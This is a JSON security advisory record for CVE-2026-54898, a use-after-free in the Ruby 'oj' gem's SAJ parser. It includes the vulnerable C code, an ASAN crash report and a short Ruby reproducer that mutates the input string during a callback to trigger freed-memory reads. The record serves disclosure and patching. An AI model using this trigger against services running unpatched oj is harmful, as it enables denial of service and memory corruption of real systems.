{ "affected": [ { "database_specific": { "last_known_affected_version_range": "< 3.17.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-q2gm-54r6-8fwm/GHSA-q2gm-54r6-8fwm.json" }, "package": { "ecosystem": "RubyGems", "name": "oj", "purl": "pkg:gem/oj" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "3.17.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "0.5", "0.5.1", "0.5.2", "0.6.0", "0.7.0", "0.8.0", "0.9.0", "1.0.0", "1.0.1", "1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6", "1.1.0", "1.1.1", "1.2.0", "1.2.1", "1.2.10", "1.2.11", "1.2.12", "1.2.13", "1.2.2", "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.7", "1.2.8", "1.2.9", "1.3.0", "1.3.2", "1.3.4", "1.3.5", "1.3.6", "1.3.7", "1.4.0", "1.4.1", "1.4.2", "1.4.3", "1.4.4", "1.4.5", "1.4.6", "1.4.6a2", "1.4.7", "2.0.0", "2.0.1", "2.0.10", "2.0.11", "2.0.12", "2.0.13", "2.0.14", "2.0.2", "2.0.3", "2.0.4", "2.0.5", "2.0.6", "2.0.7", "2.0.8", "2.0.9", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.6", "2.1.7", "2.10.0", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.11.0", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.11.5", "2.12.0", "2.12.1", "2.12.10", "2.12.11", "2.12.12", "2.12.13", "2.12.14", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.12.8", "2.12.9", "2.13.0", "2.13.1", "2.14.0", "2.14.1", "2.14.2", "2.14.3", "2.14.4", "2.14.5", "2.14.6", "2.15.0", "2.15.1", "2.16.0", "2.16.1", "2.17.0", "2.17.1", "2.17.2", "2.17.3", "2.17.4", "2.17.5", "2.18.0", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.2.0", "2.2.1", "2.2.2", "2.2.3", "2.3.0", "2.4.0", "2.4.1", "2.4.2", "2.4.3", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.1", "2.7.0", "2.7.1", "2.7.2", "2.7.3", "2.8.0", "2.8.1", "2.9.0", "2.9.1", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "3.0.0", "3.0.1", "3.0.10", "3.0.11", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.0.7", "3.0.8", "3.0.9", "3.1.0", "3.1.2", "3.1.3", "3.1.4", "3.10.0", "3.10.1", "3.10.10", "3.10.11", "3.10.12", "3.10.13", "3.10.14", "3.10.15", "3.10.16", "3.10.17", "3.10.18", "3.10.2", "3.10.3", "3.10.5", "3.10.6", "3.10.7", "3.10.8", "3.10.9", "3.11.0", "3.11.1", "3.11.2", "3.11.3", "3.11.4", "3.11.5", "3.11.6", "3.11.7", "3.11.8", "3.12.0", "3.12.1", "3.12.2", "3.12.3", "3.13.0", "3.13.1", "3.13.10", "3.13.11", "3.13.12", "3.13.13", "3.13.14", "3.13.15", "3.13.16", "3.13.17", "3.13.18", "3.13.19", "3.13.2", "3.13.20", "3.13.21", "3.13.22", "3.13.23", "3.13.3", "3.13.4", "3.13.5", "3.13.6", "3.13.7", "3.13.8", "3.13.9", "3.14.0", "3.14.1", "3.14.2", "3.14.3", "3.15.0", "3.15.1", "3.16.0", "3.16.1", "3.16.10", "3.16.11", "3.16.12", "3.16.13", "3.16.14", "3.16.15", "3.16.16", "3.16.17", "3.16.2", "3.16.3", "3.16.4", "3.16.5", "3.16.6", "3.16.7", "3.16.8", "3.16.9", "3.17.0", "3.17.1", "3.2.0", "3.2.1", "3.3.0", "3.3.1", "3.3.10", "3.3.2", "3.3.3", "3.3.4", "3.3.5", "3.3.6", "3.3.7", "3.3.8", "3.3.9", "3.4.0", "3.5.0", "3.5.1", "3.6.0", "3.6.10", "3.6.11", "3.6.12", "3.6.13", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.6.8", "3.6.9", "3.7.0", "3.7.1", "3.7.10", "3.7.11", "3.7.12", "3.7.2", "3.7.3", "3.7.4", "3.7.5", "3.7.6", "3.7.7", "3.7.8", "3.7.9", "3.8.0", "3.8.1", "3.9.0", "3.9.1", "3.9.2" ] } ], "aliases": [ "CVE-2026-54898" ], "database_specific": { "cwe_ids": [ "CWE-416" ], "github_reviewed": true, "github_reviewed_at": "2026-06-19T19:36:54Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Summary\n\n`Oj::Parser#parse` is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw `const byte *` pointer into the Ruby string's internal buffer. If a callback (e.g. `hash_start`) resizes the string — for example by calling `String#replace` with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at `parser.c:607` is a use-after-free.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/parser.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/parser.c`, `parser_parse` → `parse`:\n\n```c\nstatic VALUE parser_parse(VALUE self, VALUE json) {\n const byte *ptr = (const byte *)StringValuePtr(json); // raw pointer into Ruby string\n // ...\n parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer\n}\n```\n\n```c\n// parser.c:607\nstatic void parse(ojParser p, const byte *json) {\n const byte *b = json;\n // ...\n for (; '\\0' != *b; b++) { // ← UAF: reads freed memory after callback resizes json\n```\n\nRuby's `String#replace` (or `<<`, `gsub!`, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that `ptr` still points to.\n\nASAN report:\n```\n==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81\nREAD of size 1 at 0x51900008ed81 thread T0\n #0 parse /ext/oj/parser.c:607\n #1 parser_parse /ext/oj/parser.c:1408\n0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)\nfreed by thread T0 here:\n #0 free\n #1 ruby_sized_xfree (libruby-3.3.so.3.3)\nShadow bytes: [fd]fd fd fd fd fd ... (entire region freed)\n```\n\n### Reproduce\n\n```ruby\nrequire 'oj'\n\nclass Mutator\n def initialize(json) = (@json = json; @done = false)\n\n def hash_start(key)\n return if @done; @done = true\n @json.replace('x' * 1_000_000) # triggers String realloc, frees original buffer\n end\n\n def hash_end(key); end\n def array_start(key); end\n def array_end(key); end\n def add_value(value, key); end\nend\n\njson = '{\"a\":1,\"pad\":\"' + ('A' * 1000) + '\",\"z\":2}'\nparser = Oj::Parser.new(:saj)\nparser.handler = Mutator.new(json)\nparser.parse(json)\n```", "id": "GHSA-q2gm-54r6-8fwm", "modified": "2026-09-10T03:51:09.344545084Z", "published": "2026-06-19T19:36:54Z", "references": [ { "type": "WEB", "url": "https://github.com/ohler55/oj/security/advisories/GHSA-q2gm-54r6-8fwm" }, { "type": "PACKAGE", "url": "https://github.com/ohler55/oj" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation" }